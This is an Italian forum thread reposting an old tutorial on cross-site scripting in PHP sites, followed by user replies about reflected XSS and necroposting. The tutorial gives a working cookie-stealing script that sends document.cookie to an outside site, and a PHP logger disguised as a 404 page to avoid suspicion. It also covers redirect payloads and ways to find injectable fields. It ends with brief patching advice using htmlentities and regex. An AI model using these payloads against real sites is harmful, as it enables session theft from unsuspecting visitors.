• Regolamento Macrocategoria DEV
    Prima di aprire un topic nella Macrocategoria DEV, è bene leggerne il suo regolamento. Sei un'azienda o un hosting/provider? Qui sono anche contenute informazioni per collaborare con Sciax2 ed ottenere l'accredito nella nostra community!

nunzio922

Utente Normale
Autore del topic
17 Aprile 2007
80
0
Miglior risposta
0
Guida alle XSS by KingOfSka
Table Of Contents:
0:. Intro..
1:. Javascript
2:. XSS
a. cookie stealing
b. altri usi
3:. Trovare falle XSS
4:. Patching
5:. Links
#0:. Intro
Quasi sicuramente, alla ricerca di exploit per un qualche script php vi sarà  capitato di incrociare queste vulnerabilità  "XSS" ;
con questa guidettina :emoji_slight_smile: cercherಠdi fare un po' di chiarezza, capire cosa sono, come possono essere sfruttate nel mondo reale, e come proteggersi da queste.
#1:. Javascript
http://it.wikipedia.org/wiki/Javascript ha detto:
JavaScript, se integrato in un browser Web, si collega tramite interfacce chiamate DOM (Document Object Model) alle applicazioni, specialmente al lato server (web server) e al lato client (browser) delle applicazioni internet. Molti siti web usano la tecnologia JavaScript lato client per creare potenti applicazioni web dinamiche. Puಠusare Unicode e puಠvalutare le espressioni regolari (introdotte nella versione 1.2, in Netscape Navigator 4 e Internet Explorer 4). Le espressioni JavaScript contenute in una stringa possono essere valutate usando la funzione eval.
Un uso principale del Javascript basato su web è la scrittura di piccole funzioni integrate nelle pagine HTML che interagiscono con il DOM del browser per compiere determinate azioni non possibili con il solo HTML statico, come aprire una nuova finestra, controllare i valori nei campi di ingresso, cambiare le immagini al passaggio del mouse, ecc.
#2:. XSS
Con l'uso dei linguaggi di scripting a lato server, come PHP, sono inziati molti problemi: se uno script php stampa una variabile passatagli dall'utente senza prima averla controllata, allora l'utente potrà  modificare a suo piacimento la pagina stessa !
Per spiegarci meglio, creiamo uno script php:
<?php
$var = $_GET['message'];
echo "$var";
?>
e richiamiamolo attraverso "http://127.0.0.1/xss.php?message=ciao" , vedrete l'output, una pagina bianca con scritto ciao, e fin quì niente di strano... provate ora con "http://127.0.0.1/xss.php?message=<b>ciao</b>" , così vedrete "ciao" scritto in grassetto, per il tag "<b>" che abbiamo usato.. e infine fate ""http://127.0.0.1/xss.php?message=<script>alert("Ciao!")</script>" e otterete un popup di javascript, e ora penso inizierete a capire...
Sfruttando pagine scritte male, simili a questa, possiamo far eseguire nel browser della vittima il codice Javascript che vogliamo !
Questo tipo di bug prende appunto il nome di "XSS" cioè Cross Site Scripting.
Un possibile tipo di attacco attraverso XSS è il cosidetto "Cookie Stealing" , cioè la possibilità  di entrare in possesso dei cookies della vittima, e cercare così di ottenere informazioni come username o password..
Inoltre ci sono altre possibilità , come per esempio disturbare i visitatori con pop-up, redirect e molto altro che vedremo pi๠avanti....
a) Cookie Stealing:
Per rubare i cookies, sfrutteremo la proprietà  "document.cookie" , "document.location" di javascript e uno script PHP.Perchè non fare tutto in Javascript ?? Noi dobbiamo pure salvare questi cookies da qualche parte, e Javascript agisce SOLO nel browser della vittima, quindi attraverso di esso invieremo i dati del cookie a uno script .php che li loggherà .
Creiamo quindi uno script java che redirezioni l'utente allo script php passandogli come variabile i dati del cookie:
<script> window.location="http://www.nostrosito.com/script.php?data=" + document.cookie </script>
Ed ora lo script che salva i dati del cookie:
<html>
<head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<?php
$capo = "
";
$_GET['data'] = $data; //prende ciಠche sta dopo data nell'url e lo mette nella variabile data
$fh = fopen("cookie.txt",'a+'); //setta in fh le condizioni per aprire il file cookie.txt
fwrite($fh, "$data"); //apre il file cookie.txt o loc rea se non esiste e ci mette dentro al variabile data
fwrite($fh, "$capo");//va a capo
fclose($fh); //chiude il file
?>
<p>The requested URL was not found on this server.</p>
</body></html>
Come vedete lo script php simula un errore 404 per destare un po' meno sospetti quando visitato...
Una volta inserito il Javascript, basta aspettare che un altro utente lo visiti, per entrare in possesso dei suoi cookie.
b)Altri Usi:
Sempre usando la proprietà  "window.location" di Javascript, possiamo redirezionare le vittime al sito che noi vogliamo.
Esempio:
<BODY onload= window.location="http://www.google.com">
Questo script non farà  altro che redirezionare lo user che vede la pagina su google.com non appena essa sarà  stata caricata...
Oppure potremmo inserire exploit in javascript per il browser della vittima, per esempio questo codice crasha le versioni non aggiornate di IE:
<body onLoad="window()">
3:. Trovare Falle XSS
Gli attacchi di tipo XSS , generalmente, possono essere effutuati ogni volta che c'è la possibilità  di far stampare a schermo allo script una variabile che gli viene fornita dall utente, senza che sia controllata.
Pensate quindi ai motori di ricerca, quando vi rispondono con "Non è stato trovato alcun risultato per TUARICERCA" ... allora capirete che inserendo un po' di jscript nell variabile della ricerca, se non ci sono controlli su di essa, possiamo inserire del jscript nella pagina finale !
Altri punti di injection comuni sono i profili degli utenti, controllate TUTTI i campi e quando dico tutti, voglio dire proprio tutti !
Mettiamo che uno script vi chieda i vostri dati per creare un profilo visibile agli altri utenti, dopo aver provato a inserire il codice nei campi pi๠comuni e a cui penseremmo pi๠facilmente (nome, descrizione, hobby...) , potremmo cercare un po' pi๠in profondità .
Quando vedete una Listbox (men๠a tendina) , non è detto che le opzioni che potete usare siano solo quelle :emoji_smiley:
Con programmi come LiveHTTPHeaders , un plugin per firefox, potremmo modificare la richiesta HTTP e magari, sostiuire alle 2 lettere di una provincia un po' di sano javascript.
Leggete questa advisory per un esempio concreto:
Perfavore, Entra oppure Registrati per vedere i Link!

4:. Patching
Ovviamente non vogliamo che tutto ciಠsucceda nel nostro sito, quindi abbiamo principalmente 2 soluzioni, sempre parlando di script php:
htmlentities()
regex
htmlentities è una funzione di php che accetta come parametro una stringa, nella quale dovranno essere sostiuiti i caratteri che potrebbero essere interpretati come parte del codice HTML , con dei codici speciali che li fanno considerare come caratteri normali.
Per esempio "<" sarà  convertito in "<" , ">" in ">" e molti altri...
regex invece sta per "regular expression" , cioè un metodo per individuare un particolare testo, che abbia una certà  affinità  con il pattern che creiamo noi.
per maggiori informazioni visitate rispettivamente:
Perfavore, Entra oppure Registrati per vedere i Link!

Perfavore, Entra oppure Registrati per vedere i Link!

5:. Links
Perfavore, Entra oppure Registrati per vedere i Link!
- Sito della Crew
Perfavore, Entra oppure Registrati per vedere i Link!
- Sito ufficiale di Php , molto utile per le spiegazioni di ogni funzione
Perfavore, Entra oppure Registrati per vedere i Link!
- Open Web Application Security Project , un sito con lo scopo di aiutare a rendere pi๠sicuri i nostri siti web, molto utile.
Perfavore, Entra oppure Registrati per vedere i Link!
- LiveHTTPHeaders è un plugin per Firefox, che permette di modificare a nostro piacimento le richieste di GET e POST , particolarmente utile per testare le web application e scoprire nuovi bug.
E questo è tutto, spero di aver chiarito un po' le idee sulle XSS , recentemente molto sfruttate da niubbi e non, e molto frequenti negli script.
Se avete commenti, domande o comunque qualcosa da dire su questa guida, potete farlo nel forum:
Perfavore, Entra oppure Registrati per vedere i Link!





KingOfSka

I?m The Best(ia)


+******++++++*****+++++*
topic.asp
 
Salve a nunzio,
la tua guida è abbastanza soddisfacente.
Volevo solo capire una cosa:
se io trovo un sito fatto male in cui dopo una ricerca, nell'url mi fa vedere la variabile con la parola che ho ricercato (es." http://127.0.0.1/xss.php?message=ciao" ),
basta che faccio un script del tipo "<script>alert("Ciao!")</script>" e lo metto nella variabile in questo modo "http://127.0.0.1/xss.php?message=<script>alert("Ciao!")</script>"
mi dovrebbe visualizzare un popup con scritto ciao. Bene e fino a qua dovrei esserci.
La cosa che non capisco è la seguente:
come fa a rimanere anche per gli altri utenti che visitano il sito il mio script?
 
Devi rimandare l'utente a quel link per fargli vedere il tuo operato, di certo non cambi la struttura della pagina iniettando codice tramite XSS.
 
Guardate di quand'è il topic prima di postare.
Segnalo e non fate ulteriori messaggi.
 
Il thread può restare aperto :emoji_slight_smile:

Ha chiesto assistenza quindi può richiederla/riceverla nel thread così che tutti possano capire in caso abbiano lo stesso problema.
 
Guardate di quand'è il topic prima di postare.
Segnalo e non fate ulteriori messaggi.

Innanzitutto l'utente ha fatto una domanda sensata, per cui va aiutato, non come le persone che aprono i Thread di due anni prima dicendo: "mi dispiace, non so aiutarti".

E poi non vedo nulla nel regolamento che segnali un divieto del genere, o almeno non più.